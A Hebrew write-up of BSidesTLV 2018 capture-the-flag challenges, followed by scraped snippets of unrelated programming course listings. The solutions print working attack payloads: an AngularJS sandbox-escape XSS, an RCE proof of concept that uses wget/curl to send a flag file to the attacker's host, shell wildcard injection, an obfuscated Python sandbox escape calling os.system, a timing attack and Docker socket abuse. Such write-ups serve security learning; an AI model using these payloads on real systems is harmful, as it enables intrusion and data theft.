33 Gaming Store (Web) Description: I need your help, Evil attackers are scraping my website and stealing my customers. Please make them pay for their crimes and hack them. I have heard they use a special headless browser to get the information they need. Take this editor account and do whatever you can to make them suffer! Username: bsidestlv Password: 3d1t0r URL: Made by Tomer Zait פתרון קיבלנו משתמש באתר המאפשר לנו לערוך תיאור של משחקים: בנוסף, נאמר לנו שמישהו עושה scraping לאתר עם בוט כלשהו והמטרה שלנו היא להתקיף אותם. הדבר הראשון שעלה לי לראש הוא מתקפת.XSS אך בשביל מתקפת XSS צריך להצליח להחדיר את התווים ">" ו-"<". לאחר שעות רבות של ניסוי עם שיטות encoding שונות ובעיקר טעיה - לא הצלחתי לגרום לתווים האלה להופיע, מכיוון שהם הומרו ל-"; lt &" ו"; gt &". זאת אומרת שהשרת עשה להם escaping מתאים ולא ניתן להשתמש בתווים האלו כדי לפתוח תגיות. לאחר מכן, הסתכלתי על קוד המקור של הדף יותר לעומק, ושמתי לב לשני דברים מוזרים - הדף משתמש ב- angular.js, וה- body מכיל תגית בשם :ng-app 33

34 מחיפוש של,ng-app הגעתי לדף הבא המראה דוגמת שימוש: אם ננסה את אותו הקלט בתור התיאור של המשחק, נקבל את התוצאה הבאה: הרצנו קוד!Javascript מתברר שקיימת חולשה בגרסאות ישנות של angular המאפשרות "בריחה" מה- sandbox והרצת קוד Javascript כרצוננו! LiveOverflow מסביר על זה יותר טוב ממני בסדרת הסרטונים הזאת. מכיוון שהגרסה ישנה מספיק, אפשר להשתמש ב- constructor.constructor כדי להריץ כל קוד. נגרום לבוט לעבור לדף בשליטתנו - נכתוב בתיאור של המשחק את הטקסט הבא: {{constructor.constructor("window.location=' כאשר IP היא הכתובת שלנו. נפתח שרת בפורט המתאים, ונקבל בקשה מהשרת המכילה User-Agent מעניין: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ (KHTML, like Gecko) Chrome/ Nightmare/ Safari/

35 נשים לב למחרוזת "Nightmare/2.10.0" - לאחר חיפוש קצר בגוגל נגיע לדף הבא: אפשר להשיג RCE בתור הבוט ואפילו יש PoC באחת התגובות! נשנה קצת את ה- PoC כדי שישלח לנו את ה- flag : var args = [{ type: "value", value: "/usr/bin/wget /home/bsidestlv/flag.txt base64 -w0`;/usr/bin/curl }]; נאזין בפורט 1234 ולאחר שהבוט יריץ את הקוד שלנו נקבל את ה- flag כחלק מהבקשה: BSidesTLV{AngularjS_is_Freddy_Krueger} 35

36 Shared directory (Forensics) Description: I ve CoRrupted the file so no one can read it! i believe you will know how to Fix it :). P.S. I like my WINDOWS machine. Made by Nimrod Levy פתרון ניסינו לפתוח את הקובץ וראינו כי הוא פגום. תוך הסתכלות נוספת על תיאור האתגר זיהינו את האותיות הגדולות, בדקנו מה הם הן יוצרות ויצא לנו,CRLF WINDOWS זה בטוח לא במקרה. כמו שאנחנו יודעים בלינוקס נהוג להשתמש ב- LF על מנת לרדת שורה )n\( בעוד בווינדווס נהוג להשתמש ב- CRLF על מנת לעשות את אותה הפעולה.)\r\n( הקובץ שפתחנו הוא מסוג tar-ball שנפוץ יותר במערכות לינוקס. לכן נניח שהקובץ נדפק ועל מנת לתקן אותו אנו צריכים להמיר כל CRLF ל- LF. ננסה לחלץ את הקובץ ובינגו! יש לנו את הקבצים. קיבלנו קובץ שנקרא model.json ותיקיה עם מלא קבצים בינאריים. ננסה לפתוח את קובץ ה- json )זה לא באמת )json ונגלה שבהדר שלו כתוב :FemtoZip מסתבר ש- FemtoZip זו תוכנה שמכווצת תיקיות משותפות, נוריד אותה מהגיט! ננסה לבנות את התוכנה, באסה... הקומפילציה נכשלה: בעיה כלשהי עם ה- const... ננסה לתקן. קודם, נראה מה קורה שם: מי צריך משתנים סטטיים בימינו נעיף את הצרה הזאת. עכשיו זה מתקמפל! 36

37 : ונראה מה יש שם בפנים, נשמור את התוצאה נמחק את הדגלים הפיקטיביים ונחפש את הדגל האמיתי באמצעות הסקריפט, json עכשיו זה באמת : הבא import os for filename in os.listdir('out'): data = open("./out/" + filename,'r').read() print eval(data)['flag'] :bash וקצת python do.py grep BSides grep -v ImNot : תוחזר לנו מחרוזת בודדת, לבסוף BSidesTLV{F3mZ1pisTh3B3st} BSidesTLV 2018 של -CTF פתרון אתגרי ה אוגוסט,97 גליון

38 T.A.R.D.I.S (Crypto) Description: Watching the timelines has always been awry - but a keen observer can learn a lot of information observing the sidelines... to connect to the challenge use this link Made by Guy Barnhart-Magen פתרון האתר מסביר את מטרת האתגר: 38

39 אנו יודעים שהסיסמה היא בת 10 תווים שכולם מספרים. בנוסף, ברגע שאנו מכניסים מספר מוחזר לנו הזמן בו לקח לאתר לבדוק את נכונות הסיסמה: for c, p in given_pass, pass: sleep(0.2) if c!= p: return false return true אם נניח שהבדיקה מתבצעת באופן הבא: נשים לב שהבדיקה לוקחת יותר זמן ככל שיותר מהתווים הראשונים נכונים. נשתמש בעובדה זו על מנת לחלץ את הסיסמה - ננסה את כל התווים בין 0-9 ונבחר את האחד בו החישוב לוקח את הזמן הרב ביותר. לאחר מכן נעבור לתו הבא בסיסמה. נשתמש בשיטה זו ונקבל שהסיסמה היא: ואז יודפס לנו ה- flag : 39

40 Crypto2 (Crypto) Description: In this crypto challenge we taking the basic crypto ciphers a leap forward! While not venturing far, you will not find the cryptanalysis as obvious as last year s :) Made by Guy Barnhart-Magen פתרון אז כמו שאנחנו כבר מבינים מדובר בצופן פשוט יחסית שלקחו אותו צעד קדימה. אפשר לנחש לפי הקובץ וניתוח תדירויות ש-"הצעד קדימה" מדבר על שימוש בתווים לא דפיסים עם שמקשה מאוד על אתרים אוטומטיים לפעול כי הם לא לוקחים אותם בחשבון.,substition cipher דבר שם הקובץ שלנו הוא Invitation.txt","Anorak s רפרנס לספר One"."Ready Player לקחנו את ההתחלה של הטקסט המוצפן והחלפנו אותה באותיות קריאות: נשווה את התבנית שמצאנו לתחילת הספר )לפעמים כמה תווים מתמפים לאותה אות(: I}K[:'} -3 } f}@f-}fž z abcdefgchijhklchmcnoipcmqhr a b c d e f g c h i j h k l c h m c n o i p c m q h r E v e r y o n e m y a g e r e m e m b e r s w התאמה מושלמת! מצאנו את ההחלפה המקורית, ניתן לראות כי h מתחלף לרווח ו- c מתחלף ל- e. כדי למצוא את כל ההחלפות כתבתי סקריפט שיוצר מילון ומשלים אותיות בצורה חכמה. עד שיהיה לנו את כל הטקסט המפוענח. הסקריפט לוקח את המשפט הראשון מהטקסט ומתחיל לייצר מילון על פי ההחלפות, ברגע שהוא לא מוצא אות מסוימת הוא מבקש מהמשתמש להכניס אותה. אנחנו יכולים לעבור מהר על הספר ולהשלים לבד את האות החסרה, הוא ידאג להשלים אותה בכל שאר המקומות. 41

41 כאשר בסוף הקובץ יש את הדגל :P, לאחר השלמה של בערך 15 אותיות קיבלנו את הדגל! BSidesTLV{ _671} היפ היפ הור רגע מה? חסר לנו מספר הוא לא מופיע בשום מקום אחר בטקסט, כנראה לא פתרנו בדרך שרצו שנפתור, או שבנו על ניחוש? כמו שאמרנו זה רק מספרים אז ננסה לנחש עד שנצליח, 6 הוא המספר החסר! BSidesTLV{ } 40

42 Docking Station (Misc) Description: Mind having a look? ssh bsidestlv@one.challenges.bsidestlv.com -p 2222 (password: d0ck1ngst4t10n) Made by Tomer Zait פתרון כאשר נתחבר ב- ssh לשרת, נבין שאנחנו נמצאים בתוך.Docker Container בחיפוש אחר קבצים חשודים, ניתקל ב- var/run/docker.sock /. מחיפוש קצר בגוגל עולה שזהו socket המקשר ל- api של דוקר, התיעוד שלו פה. על מנת להפוך את העבודה שלנו לקלה יותר, נקשר בין הפורט הלוקאלי שלנו 2375 ל- socket בשרת המרוחק באמצעות הפקודה: ssh -L :2375:/app/docker.sock bsidestlv@one.challenges.bsidestlv.com -p 2222 כעת אם ניגש לדף נקבל את התשובה הבאה: במעבר על ה- api, נבין שרוב נקודות הקצה אינם נגישות. הנקודות שניתן לגשת אליהן הן: /containers/json /containers/(id or name)/json /containers/(id or name)/top /containers/(id or name)/logs?stdout=1 /containers/(id or name)/export אם ניגש ל-" " )שימו לב ל- all=1, על מנת לראות את כל ה- containers ( נבחין בשני containers שלא הופיעו קודם. באחד מהם הפקודה שהורצה היא "Command":"/hello" - זהו הקונטיינר בו משתמשים לבדוק שהכל עובד כשורה. בשני, הפקודה שהורצה היא "Command":"/galf.sh" - נחקור עוד לגבי קונטיינר זה - ניגש ל- logs : זו המכולה שאנו מחפשים! נעשה לה export באמצעות ה- endpoint api המתאים - כעת נוכל לעבור על מערכת הקבצים של המכולה ולחלץ משם את ה- flag : BSidesTLV{i_am_r34dy_t0_esc4p3_th3_d0ck3r!} 42

43 C1337Shell (Misc) Description: What the f**k? I have RCE on a this machine but i can't get the flag. Can you help me out? Made by Tomer Zait פתרון כאשר נכנס לאתר יוצג לנו הדף הבא: לכאורה, ניתן להכניס פקודות והשרת אמור להריץ אותן. אך כאשר מנסים להכניס פקודה מקבלים " error:."bad characters found כתבתי פונקציה הבודקת אילו תווים מותרים: def findallowed(): allowed = [] for i in range(256): resp = requests.post(' d':chr(i),'d':'/app','act':'cmd','submit':'execute'}) if 'error: bad characters found' not in resp.text: print "Allowed: {}".format(chr(i)) allowed.append(chr(i)) return allowed והתוצאה: Allowed = ['\t', '\n', '\x0b', '\x0c', '\r', ' ', '!', '"', '#', '%', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '=', '?', '@', '[', ']', '^', '_', '`', '{', '}', '~'] 43

44 INPUT","echo מכיוון שאם לאחר משחק נוסף עם הקלט באתר, גיליתי שהאתר מריץ פקודה בסגנון נכתוב */, bash יחליף אותה עם כל הקבצים בתיקיית השורש: כך נוכל לעבור על התיקיות בתוך,/app ולהגיע ל- app/f/fl/flag/flag_is_here/flag.txt /: כעת כדי להדפיס את ה- flag, נרצה להשתמש ב- bin/cat /. למזלנו, כאשר משתמשים ב-???/???/ הקובץ הראשון שמתאים הוא./bin/cat מכיוון שהפקודה היא בסגנון INPUT","echo אם ניתן כקלט: ;/???/??? /???/?/??/*/????_??_????/* מה שיורץ הוא: echo ;/bin/cat /bin/dir /bin/pwd /app/f/fl/flag/flag_is_here/flag.txt ונקבל את ה- flag בסוף הפלט: BSidesTLV{1_l1k3_wildcards_&_r3g3x_but_h8_th3_cr34t0r} 44

45 PySandbox-Insane (Misc) Description: BANNED = [ "realgam3", "digitalwhisper", "pycon2018", "+", ":", "%", "*", "=", " ", "{", "}", "\\", "\"\"", "\"'", "''", "'\"", "()", "import", "exec", "eval", "pickle", "marshal", "os", "system", "values", "popen", "subprocess", "input", "sys", "file", "open", " dict ", " init ", " class ", " base ", " bases ", " mro ", "None", "pop", "read", "get(", "replace", "insert", "format", "encode", "decode", 'warningmessage', "linecache", "listdir", " subclasses ", " call ", "func_globals", "cat", "grep", "flag", "secret", "http", "wget", "curl", "curl secret/flag.txt", "for", "while", "iter", "next", "join", "i know you hate me" ] Escape the sandbox and bypass the firewall to capture the flag! nc two.challenges.bsidestlv.com 3030 Made by Tomer Zait פתרון זה האתגר הרביעי בסדרה מבית תומר זית,.Python Sandbox Escaping הבריחה ממערכת הסאנדבוקס, נמצא בקישור. המאמר המתאר את קונספט כמו שמתואר, הפקודה שעלינו ליצור היא: "". class. mro [-1]. subclasses ()[59]. init.func_globals['linecache']. dict ['os'] כאשר פקודה זו משתמשת באובייקט הכי בסיסי בפייתון ושולפת ממנה מחלקה שמשתמשת בספריה.OS כאשר יש לנו שליטה בספריה אנו יכולים להריץ כל קוד שאנחנו רוצים על המערכת בעזרת הפונקציה system מתוך הספריה. החלק הקשה באתגר הוא החסימה המורכבת על המערכת המעלה לו את רמת הקושי ודורשת מאיתנו לחקור לעומק על פייתון. הקוד שהשתמשתי בו הוא: 45

46 builtins. setattr ("obj", builtins. getattribute (" class". add (" ")).mro( ). getitem (1)) builtins. setattr ("sub",obj. getattribute (obj," subclasses". add (" "))) builtins. setattr ("war",sub( ). getitem (58)) builtins. setattr ("inp",war. getattribute (war," init". add (" "))) builtins. setattr ("fun",inp. getattribute ("func_globa". add ("ls"))) builtins. setattr ("lin",fun. getitem ("linecac". add ("he"))) builtins. setattr ("dict",lin. getattribute (" dict". add (" "))) builtins. setattr ("pus",dict. getitem ("o". add ("s"))) builtins. setattr ("sup",pus. getattribute ("sy". add ("stem"))) sup("cur". add ("l secr"). add ("et/fla"). add ("g.txt")) נבין קודם כל את המבנה בכל שורה. לצורך כך יצרתי מילון פקודות כדי להסביר איך המבנה עובד בצורה מסודרת: האופרטור השמה )"="( שליפה )"]["( מילים חסומות פונק' ללא פרמטרים* המקור var = value הפתרון builtins. setattr ("var",value) var. getitem (value) var. getattribute (var," param". add (" ")) var[value] var. param func()/func( ) [* נחסם גם השימוש בסוגריים ברצף וגם השימוש ברווח, לכן בפתרון נשתמש ב- tab על מנת לעקוף זאת.] לאחר תרגום של הקוד ע"י המילון שבנינו ניתן לראות כי הקוד שלנו שקול ל: ובינגו. קיבלנו את הדגל! func( ) obj = builtins. class.mro()[1] sub = obj. subclasses war = sub()[58] inp = war. init fun = inp.func_globals lin = fun.["linecache"] dict = lin. dict pus = dict.["os"] sup = pus.system sup("curl secret/flag.txt") BSidesTLV{I_AM_The_Python_Mater} 46

47 סיכום ה- CTF נמשך כשבועיים, ופורסמו בו שלל אתגרים ברמות קושי שונות. האתגרים שלדעתי בלטו במיוחד הם: - wtflol בגלל רמת הקושי, הזמן שלקח לי לפתור אותו והדגל שהודלף והוחלף במהלך התחרות. - IAmBrute כותבי האתגר פתחו פרופילים פיקטיביים לדמויות, אותם היינו צריכים לחקור כדי לצלוח את האתגר. - PimpMyRide מעולם לא התנסיתי בניצול חולשת deserialization ב- php, אלא רק קראתי עליה..)ng-app( במשך כמה שעות, פספסתי פרט קטן בדף שהיה הכרחי לפתרון האתגר - GamingStore יש האומרים שניתן לשמוע את ה- facepalm שלי עד עכשיו. ברגע פירסום האתגר האחרון,)GamingStore( צוות האתר כיבה את ה- Scoreboard והדפים של הקבוצות על מנת שאף קבוצה לא תדע את מיקומה. אך בהתאם לאופי שלי ועם קצת אבקת סייבר, הבחנתי שניתן לראות את המיקום שלי תחת /profile - כך ידעתי כשמישהו פתר את GamingStore לפני ומה היה המיקום שלי בסוף התחרות הכנס הכיל שלל הרצאות מעניינות, אוכל וקצת אלכוהול. אבל החלק הטוב ביותר היה להיפגש עם עוד אנשים מהקהילה - ביניהם כותבי האתגרים, מפיקי הכנס ושאר הפותרים של ה- CTF. לקראת סוף הכנס, קראו לזוכים בתחרות dm0n( ביניהם( והעניקו להם פרסים - המקום הראשון קיבל גם גביע )משיחה קצרה אחרי הענקת הפרסים - אין לו איפה לשים אותו. צרות של עשירים(. תודה ל-_ reclass _ doadam ו- JCTF על התחרות הטובה, לצוות BSidesTLV על הכנס ויצירת וכמובן תודה לצוות כותבי האתגרים המוכשר, בלעדיהם לא היה נוצר ה- CTF המדהים הזה! הקהילה ]במקור: ] 47

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק

משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות 2 הפשטה שאלות כצעד ראשון נפתור בעיה הרבה יותר פשוטה האם כבר

קרא עוד

HTML - Hipper Text Makeup Language

HTML - Hipper Text Makeup Language תכנות בסביבת האינטרנט 1 תיבת טקסט טופס הטופס הוא הדרך של בעלי האתר לקבל משוב מהגולשים, מאפשר לגולש להתחבר לאתר כחבר, מאפשר לבצע רכישות באתרי קניות וכד'. כשהגולש ממלא את הטופס, מועבר תוכן הטופס לדף מיוחד

קרא עוד

ex1-bash

ex1-bash ביה"ס למדעי המחשב סמסטר חורף תשע"ח 13.12.2017 יסודות מערכות פתוחות פתרון תרגיל מס' 7 המכללה האקדמית נתניה שימו לב: כל ההערות שבתחילת תרגילים 1-6 תקפות גם לתרגיל זה. הערה 1: החל מתרגיל זה והלאה, בכל פעם

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג חשון תשע"ח 12/11/17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד קיץ סמ' שנה תשע"ז 3 שעות משך

קרא עוד

(Microsoft Word - SQL\353\351\345\345\365 \341\361\351\361 \360\372\345\360\351\355 \ doc)

(Microsoft Word - SQL\353\351\345\345\365 \341\361\351\361 \360\372\345\360\351\355 \ doc) 01/07/08 כיווץ בסיס נתונים ב MS SQL 2005 מסמך זה סוקר תהליך כיווץ בסיס נתונים ב-.Microsoft SQL Server 2005 תהליך הכיווץ (Shrink), מכווץ את חלקו הלא פעיל (קובץ ה- Log ) של בסיס הנתונים ואינו נוגע בחלקו

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק ב - מבוא לקריפטוגרפיה שיעור 5 (offset מונחים בסיסיים צופן קיסר (היסט,.1.2 1 Today

קרא עוד

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים עליו כרגע )A מצביע עליו(. יש שני סוגי פקודות, פקודת

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java אלכסיי זגלסקי ויעל אמסטרדמר 1 בירוקרטיה אלכסיי זגלסקי שעת קבלה: שני 13:00-14:00, בתיאום מראש משרד: בניין הנדסת תוכנה, חדר 209 יעל אמסטרדמר שעת קבלה: חמישי 15:00-16:00,

קרא עוד

סדנת תכנות ב C/C++

סדנת תכנות ב   C/C++ פקולטה: מדעי הטבע מחלקה: מדעי המחשב שם הקורס: מבוא למחשבים ושפת C קוד הקורס: 2-7028510 תאריך בחינה: 15.2.2017 משך הבחינה: שעתיים שם המרצה: ד"ר אופיר פלא חומר עזר: פתוח שימוש במחשבון: לא הוראות כלליות:

קרא עוד

מבוא לתכנות ב- JAVA תרגול 7

מבוא לתכנות ב- JAVA  תרגול 7 מבוא לתכנות ב- JAVA תרגול 8 תזכורת - מבנה של פונקציה רקורסיבית.2 פונקציה רקורסיבית מורכבת משני חלקים עיקריים 1. תנאי עצירה: מקרה/מקרים פשוטים בהם התוצאה לא מצריכה קריאה רקורסיבית לחישוב צעד רקורסיבי: קריאה

קרא עוד

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש המתרגם משימה: תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם 2 שאלות האם כבר יש

קרא עוד

ייבוא וייצוא של קבצי אקסל וטקסט

ייבוא וייצוא של קבצי אקסל וטקסט ייבוא וייצוא של קבצי אקסל וטקסט (Importing & Exporting MS Excel Files and Text) ייבוא (Import) הפיכת קובץ טקסט, Excel מבסיס נתונים אחר. או סוגים אחרים, לטבלת,Access או העתקת טבלת Access בתחילת התהליך יש

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תכנות מתקדם בשפת Java אוניברסיטת תל אביב 1 תוכנה 1 תרגול 3: עבודה עם מחרוזות )Strings( מתודות )Methods( 1 תכנות מתקדם בשפת Java אוניברסיטת תל אביב 2 מחרוזות )STRINGS( 3 מחרוזות String s = Hello ; מחרוזות

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב מחרוזות, חתימה של פונקציה ומעטפות תוכן עניינים טיפוסים מורכבים טיפוסים מורכבים ערך שם טיפוס 12 m int undef. x boolean true y boolean arr int[] כאלה שעשויים להכיל יותר מערך פרימיטיבי אחד

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד אוניברסיטת בן גוריון בנגב תאריך המבחן: 29.01.19 שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות 202.1.9031 מס' הקורס : מיועד לתלמידי : הנדסת תעשיה וניהול שנה תשע"ט א' סמ' א' מועד 3 שעות משך

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 4: משתנים בוליאניים ופונקציות מבוא למדעי המחשב מ' - תירגול 4 1 משתנים בוליאניים מבוא למדעי המחשב מ' - תירגול 4 2 ערכי אמת מבחינים בין שני ערכי אמת: true ו- false לכל מספר שלם ניתן

קרא עוד

מהוא לתכנות ב- JAVA מעבדה 3

מהוא לתכנות ב- JAVA מעבדה 3 מבוא לתכנות ב- JAVA מעבדה 3 נושאי התרגול לולאות ניפוי שגיאות לולאות - הקדמה כיצד הייתם כותבים תוכנית שתדפיס את המספרים השלמים בין 1 ל- 100 בעזרת הכלים שלמדתם עד עתה? חייבת להיות דרך אחרת מאשר לכתוב 100

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ג מנ' אב תשע"ז 15.08.17 שמות המורים: ציון סיקסיק א' ב- C תכנות מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' ב' שנה תשע"ז 3 שעות

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תוכנה 1 תרגול 1: סביבת העבודה ומבוא ל- Java 1 מנהלות אתר הקורס: http://courses.cs.tau.ac.il/software1/1516b/ מתרגלים: ברית יונגמן )שעת קבלה: שלישי ב- 8:00 בתיאום מראש( לנה דנקין )שעת קבלה: שלישי ב- 17:00,

קרא עוד

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007 WinZIP תוכנה לדחיסת קבצים ספטמבר 2007 תשס"ח 2007. כל הזכויות שמורות לאוניברסיטה הפתוחה. בית ההוצאה לאור של האוניברסיטה הפתוחה, רח' רבוצקי 108 ת, "ד 808, רעננה 43107. The Open University of Israel, 108

קרא עוד

תרגיל בית מספר 1#

תרגיל בית מספר 1# ב 4 תרגיל בית מספר - 1 להגשה עד 72 באוקטובר בשעה ::725 קיראו בעיון את הנחיות העבודה וההגשה המופיעות באתר הקורס, תחת התיקייה.assignments חריגה מההנחיות תגרור ירידת ציון / פסילת התרגיל. הנחיות והערות ספציפיות

קרא עוד

1 תבניות טקסט מהי תבנית טקסט? שימוש ב- Characters Meta שימוש ב- Expression Grouping שימוש ב- Quantifiers תת תבניות הפונקציה preg_match הפונקציה preg_m

1 תבניות טקסט מהי תבנית טקסט? שימוש ב- Characters Meta שימוש ב- Expression Grouping שימוש ב- Quantifiers תת תבניות הפונקציה preg_match הפונקציה preg_m 1 תבניות טקסט מהי תבנית טקסט? שימוש ב- Characters Meta שימוש ב- Expression Grouping שימוש ב- Quantifiers תת תבניות הפונקציה preg_ הפונקציה preg all הפונקציה str_replace הפונקציה preg_replace 2 מהי תבנית

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב תכנות מונחה אובייקטים תוכן עניינים טיפוסי נתונים מורכבים המחלקה String תזכורת לשימוש שעשינו במחלקה String str = new String( Hello ); s.o.p(str.tostring()); s.o.p(str.charat(4)); s.o.p(str.equals(

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מבוא כללי לתכנות ולמדעי המחשב תרגול מס' 1 דין שמואל dshmuel110@gmail.com 1 1. מנהלות מרצה: אמיר רובינשטיין, amirr@tau.ac.il שעות קבלה: לשאלות קצרות - מייד לאחר השיעור. ניתן לתאם במייל שעות אחרות. מתרגל:

קרא עוד

PowerPoint Presentation

PowerPoint Presentation 1 תוכנה 1 תרגול 1: מנהלות, סביבת העבודה ומבוא ל- Java 1 2 מנהלות I מתרגלים: יעל אמסטרדמר )שעת קבלה: חמישי ב- 12, בתיאום מראש( דביר נתנאלי )שעת קבלה: רביעי ב- 17, בתיאום מראש( http://courses.cs.tau.ac.il/software1/1415a

קרא עוד

מערכות הפעלה קורס מס'

מערכות הפעלה קורס מס' מערכות קבצים מבוזרות מבוא מבנה כללי דוגמה: Network file system דוגמה: Google file system 1 חגית עטיה מערכות קבצים מבוזרות מאפשרות לתהליכים אשר רצים במכונות שונות, גישה ושיתוף קבצים שקיפות לאפליקציה: אפליקציה

קרא עוד

תרגול 1

תרגול 1 מבוא למדעי המחשב 2019 תרגול 5 מחרוזות, חתימות ורקורסיה מחרוזות רצף של תווים רקורסיה קריאה של מתודה לעצמה באופן ישיר או עקיף ראינו בהרצאה מחרוזות: תווים, חתימות: העמסה- String,הצהרה, overloading אתחול רקורסיה:

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב שימוש במחסנית - מחשבון תוכן עניינים prefix כתיבת ביטויים ב-,infix ו- postfix postfix prefix,infix ביטויים ב- כתיבת ו- infix נוסח כתיבה ב- (operator אנו רגילים לכתוב ביטויים חשבוניים כדוגמת

קרא עוד

PowerPoint Presentation

PowerPoint Presentation מבוא למדעי המחשב תירגול 6: כתובות ומצביעים 1 תוכנייה מצביעים מצביעים ומערכים, אריתמטיקה של מצביעים 2 3 מצביעים תזכורת- כתובות זיכרון הזיכרון כתובת התא #1000 #1004 #1008 ערך השמור בתא תא 10-4 לא מאותחל

קרא עוד

תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(

תשעדד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..( תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(http://mdle.tau.ac.il/) בלבד הגשת התרגיל תעשה במערכת ה- mdle aviv

קרא עוד

פייתון

פייתון שיעור 12: מילונים ברק גונן 1 או מילון, :hash table או,dictionary זוגות של מפתחות keys וערכים values מילון מוגדר על ידי סוגריים מסולסלים { } לדוגמה: מילון שמכיל ציונים, המפתח הוא מספר ת.ז ערך מפתח הגדרה

קרא עוד

שאלהIgal : מערכים דו מימדיים רקורסיה:

שאלהIgal : מערכים דו מימדיים רקורסיה: אוניברסיטת בן גוריון בנגב מספר נבחן : תאריך המבחן: כ"ח תשרי תשע"ז 30.10.16 שמות המורים: ציון סיקסיק א' תכנות ב- C מבחן ב: 202-1-9011 מס' הקורס : הנדסה מיועד לתלמידי : ב' מועד סמ' קיץ שנה תשע"ו 3 שעות משך

קרא עוד

פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9.

פתרון מוצע לבחינת מהט ב_שפת c מועד ב אביב תשעט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9. הדפסה ראשונה: מתבצעת לולאה שרצה מאפס עד אורך המחרוזת.

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ

